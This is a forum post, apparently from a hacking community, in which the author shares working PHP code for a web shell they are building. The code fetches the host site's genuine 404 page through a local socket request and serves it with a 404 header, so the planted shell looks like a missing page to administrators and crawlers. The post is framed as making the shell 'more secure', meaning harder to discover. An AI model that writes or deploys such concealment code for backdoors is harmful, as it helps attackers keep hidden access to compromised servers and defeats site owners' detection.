Nov 7, 2015 09:44 AM
(This post was last modified: Nov 7, 2015 10:41 AM by .trigious.)
Yo.
I am currently working on a shell and thought that this feature would be useful and that I'd share it here. Some shells generate a 404 Page if they don't get accessed with the correct Parameter, but a lot of times it only generates the default Apache 404 site.
This is simple but I thought I'd share the idea.
I did not use the function 'file_get_contents()' because it fails if a 404 code is returned. So what the code does is, it just opens a socket and does a GET request for a random file on the server ( which doesn't exist. ). It will then get the 404 page of the website, making the shell more secure as it has exactly the same 404 page than other pages on the server.
EDIT: YOu'll have to replace the space in the Host Header with dots, I couldn't post it with dots as I don't have 50 posts, lol.
I am currently working on a shell and thought that this feature would be useful and that I'd share it here. Some shells generate a 404 Page if they don't get accessed with the correct Parameter, but a lot of times it only generates the default Apache 404 site.
This is simple but I thought I'd share the idea.
I did not use the function 'file_get_contents()' because it fails if a 404 code is returned. So what the code does is, it just opens a socket and does a GET request for a random file on the server ( which doesn't exist. ). It will then get the 404 page of the website, making the shell more secure as it has exactly the same 404 page than other pages on the server.
PHP Code
<?php
//Host & Port configuration
$host = $_SERVER['SERVER_ADDR'];
$port = "80";
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
$response = socket_connect($sock, $host, $port);
//Generation of random page
$page = "";
$array = array('1', '2' , '3', '4' , '5', '6', '7', '8', '9');
for($i = 0; $i<4; $i++)
{
$page .= $array[rand(0, sizeof($array) -1)];
}
$page .=".html";
//Building HTTP request
$in = "GET /$page HTTP/1.1\r\n";
$in .= "Host: www example com\r\n";
$in .= "Connection: Close\r\n\r\n";
//Send
socket_write($sock, $in, strlen($in));
//Receive HTTP request
while($answer = socket_read($sock, 2048))
{
$answer = strstr($answer, "\n<");
$answer = str_replace("/".$page, $_SERVER['PHP_SELF'], $answer);
echo $answer;
}
//Set header for Crawlers etc
header("HTTP/1.1 404 Not Found");
?>EDIT: YOu'll have to replace the space in the Host Header with dots, I couldn't post it with dots as I don't have 50 posts, lol.




![[Image: GUsQZTN.gif]](https://i.imgur.com/GUsQZTN.gif)